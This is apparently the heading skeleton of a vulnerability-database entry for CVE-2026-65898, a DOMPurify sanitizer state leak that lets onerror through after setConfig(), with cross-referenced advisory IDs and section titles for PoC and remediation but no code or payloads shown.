The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

CVE-2026-65898 (GCVE-0-2026-65898)

CERTFR-2026-AVI-1049

Solutions

CERTFR-2026-AVI-1067

Solutions

FKIE_CVE-2026-65898

GHSA-CMWH-PVXP-8882

Summary

Affected configuration (preconditions)

Root cause (source: src/purify.ts, v3.4.10)

Proof of Concept

PoC 1 — the leak (trusted render permanently allows onerror on attacker content)

PoC 2 — it is a DOMPurify state-leak, not "the app allowed on*" (attribute-agnostic)

PoC 3 — control: WITHOUT setConfig() the 3.4.7 guard holds

Persistence (observed)

Impact

Realistic attack scenario

Remediation

Limitations

Validation

Appendix A — Node PoC (complete, runnable)

Appendix B — Browser PoC (complete; confirms execution)

RHSA-2026:58500

RHSA-2026:58502

ubuntu-cve-2026-65898

Vulnerability from osv_ubuntu

Tags

Sightings

Nomenclature

Root cause (source: `src/purify.ts`, v3.4.10)

PoC 1 — the leak (trusted render permanently allows `onerror` on attacker content)

PoC 2 — it is a DOMPurify state-leak, not "the app allowed `on*`" (attribute-agnostic)

PoC 3 — control: WITHOUT `setConfig()` the 3.4.7 guard holds